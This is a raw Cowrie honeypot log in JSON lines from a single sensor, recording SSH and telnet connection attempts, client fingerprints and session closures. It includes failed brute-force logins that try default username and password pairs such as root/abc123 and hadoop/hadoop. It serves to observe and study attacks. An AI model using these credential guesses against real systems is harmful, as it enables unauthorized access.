{"eventid":"cowrie.login.failed","username":"user","password":"drop","message":"login attempt [user/drop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:41.578729Z","src_ip":"2.57.121.25","session":"0807635f4b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:42.685329Z","src_ip":"2.57.121.25","session":"0807635f4b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55386,"dst_ip":"10.17.0.5","dst_port":22,"session":"8359dfcfc103","protocol":"ssh","message":"New connection: 47.86.95.62:55386 (10.17.0.5:22) [session: 8359dfcfc103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:45.333881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:45.339401Z","src_ip":"47.86.95.62","session":"8359dfcfc103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:45.552328Z","src_ip":"47.86.95.62","session":"8359dfcfc103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:46.188051Z","src_ip":"47.86.95.62","session":"8359dfcfc103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca1c714ba127","protocol":"ssh","message":"New connection: 8.218.166.49:60472 (10.17.0.5:22) [session: ca1c714ba127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:49.794605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:50.568125Z","src_ip":"8.218.166.49","session":"ca1c714ba127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:53.450272Z","src_ip":"8.218.166.49","session":"ca1c714ba127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:09.350075Z","src_ip":"8.218.166.49","session":"ca1c714ba127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.1","message":"Connection lost after 26.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:15.923420Z","src_ip":"8.218.166.49","session":"ca1c714ba127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52634,"dst_ip":"10.17.0.5","dst_port":22,"session":"4414c52d7e57","protocol":"ssh","message":"New connection: 47.86.95.62:52634 (10.17.0.5:22) [session: 4414c52d7e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:18.396024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:18.403789Z","src_ip":"47.86.95.62","session":"4414c52d7e57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:18.624889Z","src_ip":"47.86.95.62","session":"4414c52d7e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.88.98.88","src_port":3676,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a3dc9b5bb9f","protocol":"telnet","message":"New connection: 194.88.98.88:3676 (159.203.135.109:23) [session: 1a3dc9b5bb9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:24.109145Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55302,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8fbb48989fc","protocol":"ssh","message":"New connection: 8.218.166.49:55302 (10.17.0.5:22) [session: b8fbb48989fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:24.402790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:24.407500Z","src_ip":"8.218.166.49","session":"b8fbb48989fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":43668,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e3737a2ace8","protocol":"telnet","message":"New connection: 49.88.156.34:43668 (10.17.0.5:23) [session: 9e3737a2ace8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:30.078635Z"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:30.683452Z","src_ip":"47.86.95.62","session":"4414c52d7e57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:33.018620Z","src_ip":"47.86.95.62","session":"4414c52d7e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55314,"dst_ip":"10.17.0.5","dst_port":22,"session":"03eb13dfdb36","protocol":"ssh","message":"New connection: 8.218.166.49:55314 (10.17.0.5:22) [session: 03eb13dfdb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:33.932790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:33.938131Z","src_ip":"8.218.166.49","session":"03eb13dfdb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.000866174697876,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:34.109907Z","src_ip":"194.88.98.88","session":"1a3dc9b5bb9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":43544,"dst_ip":"10.17.0.5","dst_port":23,"session":"e06c7c402c13","protocol":"telnet","message":"New connection: 49.88.156.34:43544 (10.17.0.5:23) [session: e06c7c402c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:35.122813Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34730,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9f7fea0d962","protocol":"ssh","message":"New connection: 47.86.95.62:34730 (10.17.0.5:22) [session: d9f7fea0d962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:36.041902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:36.046599Z","src_ip":"47.86.95.62","session":"d9f7fea0d962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:36.257547Z","src_ip":"47.86.95.62","session":"d9f7fea0d962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:37.004637Z","src_ip":"47.86.95.62","session":"d9f7fea0d962","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53210,"dst_ip":"10.17.0.5","dst_port":22,"session":"9df9c82b08cb","protocol":"ssh","message":"New connection: 8.218.166.49:53210 (10.17.0.5:22) [session: 9df9c82b08cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:43.824370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:43.829063Z","src_ip":"8.218.166.49","session":"9df9c82b08cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:48.103348Z","src_ip":"47.86.95.62","session":"d9f7fea0d962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:54:54.630288Z","src_ip":"8.218.166.49","session":"03eb13dfdb36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:04.363563Z","src_ip":"8.218.166.49","session":"9df9c82b08cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49912,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1aa02474636","protocol":"ssh","message":"New connection: 8.218.166.49:49912 (10.17.0.5:22) [session: d1aa02474636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:04.750722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:12.867013Z","src_ip":"8.218.166.49","session":"d1aa02474636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:12.872025Z","src_ip":"8.218.166.49","session":"d1aa02474636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:15.318509Z","src_ip":"8.218.166.49","session":"03eb13dfdb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"47.9","message":"Connection lost after 47.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:21.834871Z","src_ip":"8.218.166.49","session":"03eb13dfdb36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:22.555547Z","src_ip":"8.218.166.49","session":"9df9c82b08cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44286,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cdff76b8fd0","protocol":"ssh","message":"New connection: 47.86.95.62:44286 (10.17.0.5:22) [session: 2cdff76b8fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:23.905141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:23.956899Z","src_ip":"47.86.95.62","session":"2cdff76b8fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:24.123363Z","src_ip":"47.86.95.62","session":"2cdff76b8fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:25.215966Z","src_ip":"47.86.95.62","session":"2cdff76b8fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:55:26.430627Z","src_ip":"47.86.95.62","session":"2cdff76b8fd0","protocol":"ssh"}
